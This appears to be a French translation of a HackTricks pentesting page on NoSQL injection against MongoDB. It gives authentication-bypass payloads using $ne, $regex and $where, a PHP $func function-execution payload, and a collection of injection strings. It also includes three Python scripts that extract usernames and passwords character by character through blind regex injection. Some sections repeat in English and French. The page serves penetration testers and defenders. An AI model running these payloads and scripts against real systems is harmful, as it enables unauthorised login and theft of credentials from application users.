hacktricks/pentesting-web/nosql-injection.md
2023-06-03 13:10:46 +00:00

20 KiB

Injection NoSQL

Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Les bases de données NoSQL offrent des restrictions de cohérence plus lâches que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages de performance et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.

Exploitation

En PHP, vous pouvez envoyer un tableau en changeant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.

Les exploits sont basés sur l'ajout d'un opérateur :

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Contournement de l'authentification de base

En utilisant la négation ($ne) ou la supériorité ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

MongoDB est une base de données NoSQL très populaire. Contrairement aux bases de données SQL traditionnelles, MongoDB stocke les données sous forme de documents JSON. Les injections NoSQL sont similaires aux injections SQL, mais elles exploitent les différences de syntaxe et de structure de MongoDB.

Injection basique

La technique d'injection de base consiste à ajouter une clé supplémentaire à la requête JSON. Par exemple, si la requête est la suivante :

db.users.find({username: "admin", password: "password123"})

Nous pouvons ajouter une clé supplémentaire pour contourner l'authentification :

db.users.find({username: "admin", password: {"$ne": ""}})

Cela renverra tous les documents où le champ "password" n'est pas vide.

Injection d'opérateurs

MongoDB utilise des opérateurs pour effectuer des opérations sur les données. Les injections d'opérateurs consistent à utiliser des opérateurs malveillants pour contourner les contrôles d'accès. Par exemple, si la requête est la suivante :

db.users.find({username: "admin"})

Nous pouvons utiliser l'opérateur "$regex" pour contourner la vérification du nom d'utilisateur :

db.users.find({username: {"$regex": ".*"}, password: {"$ne": ""}})

Cela renverra tous les documents où le champ "password" n'est pas vide, indépendamment du nom d'utilisateur.

Injection de code

MongoDB prend en charge l'exécution de code côté serveur à l'aide de la fonction "eval". Les injections de code consistent à injecter du code malveillant dans la requête pour qu'il soit exécuté côté serveur. Par exemple, si la requête est la suivante :

db.users.find({username: "admin"})

Nous pouvons utiliser la fonction "eval" pour exécuter du code malveillant :

db.users.find({$where: "this.username == 'admin' && this.password.match(/^pa.*/)"})

Cela renverra tous les documents où le nom d'utilisateur est "admin" et le mot de passe commence par "pa".

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extraire des informations sur la longueur

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraire des informations sur les données

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

Injection NoSQL

L'injection NoSQL est similaire à l'injection SQL, mais elle est utilisée pour les bases de données NoSQL telles que MongoDB. Les attaques NoSQL Injection sont souvent plus difficiles à exploiter que les attaques SQL Injection, car les bases de données NoSQL n'utilisent pas de langage de requête structuré tel que SQL. Cependant, les attaquants peuvent toujours exploiter les vulnérabilités de sécurité dans les applications qui utilisent des bases de données NoSQL pour extraire des informations sensibles ou effectuer des actions malveillantes.

Syntaxe de base

La syntaxe de base de l'injection NoSQL est similaire à celle de l'injection SQL. Les attaquants peuvent utiliser des caractères spéciaux pour modifier la requête d'origine et extraire des informations sensibles. Par exemple, si une application utilise MongoDB pour stocker des informations d'utilisateur, un attaquant peut utiliser la syntaxe suivante pour extraire toutes les informations d'utilisateur de la base de données :

username: {$ne: ''}, password: {$ne: ''}

Cette syntaxe utilise l'opérateur $ne pour extraire toutes les informations d'utilisateur qui ne sont pas vides. L'attaquant peut également utiliser d'autres opérateurs tels que $gt, $lt, $gte, $lte, $regex, etc. pour extraire des informations sensibles.

Contre-mesures

Les contre-mesures suivantes peuvent être prises pour prévenir les attaques NoSQL Injection :

  • Utiliser des bibliothèques de requêtes NoSQL sécurisées qui échappent automatiquement les caractères spéciaux.
  • Valider et filtrer les entrées utilisateur pour empêcher les caractères spéciaux d'être utilisés dans les requêtes.
  • Utiliser des rôles d'utilisateur et des autorisations pour limiter l'accès aux bases de données et aux informations sensibles.
  • Mettre à jour régulièrement les bibliothèques et les frameworks utilisés pour éviter les vulnérabilités connues.
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Exécution arbitraire de fonctions PHP

En utilisant l'opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans ce rapport.

"user":{"$func": "var_dump"}

Obtenir des informations à partir de différentes collections

Il est possible d'utiliser $lookup pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une collection différente appelée users et obtenons les résultats de toutes les entrées avec un mot de passe correspondant à un joker.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]

Injection NoSQL aveugle

Blind NoSQL injection is a type of injection attack that targets NoSQL databases. It is similar to blind SQL injection, but instead of targeting SQL databases, it targets NoSQL databases. The attack is called "blind" because the attacker does not receive any error messages or other feedback from the database. This makes it more difficult to detect and exploit.

L'injection NoSQL aveugle est un type d'attaque par injection qui cible les bases de données NoSQL. Elle est similaire à l'injection SQL aveugle, mais au lieu de cibler les bases de données SQL, elle cible les bases de données NoSQL. L'attaque est appelée "aveugle" car l'attaquant ne reçoit aucun message d'erreur ou autre retour d'information de la base de données. Cela rend plus difficile la détection et l'exploitation de l'attaque.

Boolean-based blind NoSQL injection

Injection NoSQL aveugle basée sur des booléens

Boolean-based blind NoSQL injection is a technique that uses boolean-based queries to extract information from a NoSQL database. The attacker sends a query to the database that will return either true or false, depending on whether the query is successful or not. By sending a series of queries, the attacker can extract information from the database.

L'injection NoSQL aveugle basée sur des booléens est une technique qui utilise des requêtes basées sur des booléens pour extraire des informations d'une base de données NoSQL. L'attaquant envoie une requête à la base de données qui renverra soit vrai, soit faux, en fonction de la réussite ou non de la requête. En envoyant une série de requêtes, l'attaquant peut extraire des informations de la base de données.

Time-based blind NoSQL injection

Injection NoSQL aveugle basée sur le temps

Time-based blind NoSQL injection is a technique that uses time delays to extract information from a NoSQL database. The attacker sends a query to the database that will cause a time delay if the query is successful. By measuring the time it takes for the database to respond, the attacker can extract information from the database.

L'injection NoSQL aveugle basée sur le temps est une technique qui utilise des délais de temps pour extraire des informations d'une base de données NoSQL. L'attaquant envoie une requête à la base de données qui provoquera un délai de temps si la requête est réussie. En mesurant le temps qu'il faut à la base de données pour répondre, l'attaquant peut extraire des informations de la base de données.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

Charges MongoDB

Payloads MongoDB

Les injections NoSQL sont souvent utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB:

Récupérer toutes les données de la base de données

username[$ne]=&password[$ne]=

Récupérer les informations d'un utilisateur spécifique

username[$eq]=<username>&password[$ne]=1

Récupérer les informations d'un utilisateur en utilisant l'opérateur $regex

username[$regex]=.*&password[$regex]=.*

Récupérer les informations d'un utilisateur en utilisant l'opérateur $where

$where=return%20this.username%20==%20%22<username>%22%20&&%20this.password%20==%20%22<password>%22

Récupérer les informations d'un utilisateur en utilisant l'opérateur $where et une fonction JavaScript

$where=function()%20{var%20x%20=%20new%20RegExp(%22<password>%22,%20%22i%22);%20return%20this.username%20==%20%22<username>%22%20&&%20x.test(this.password);}
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Outils

Brute-force des noms d'utilisateur et des mots de passe à partir de la connexion POST

Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}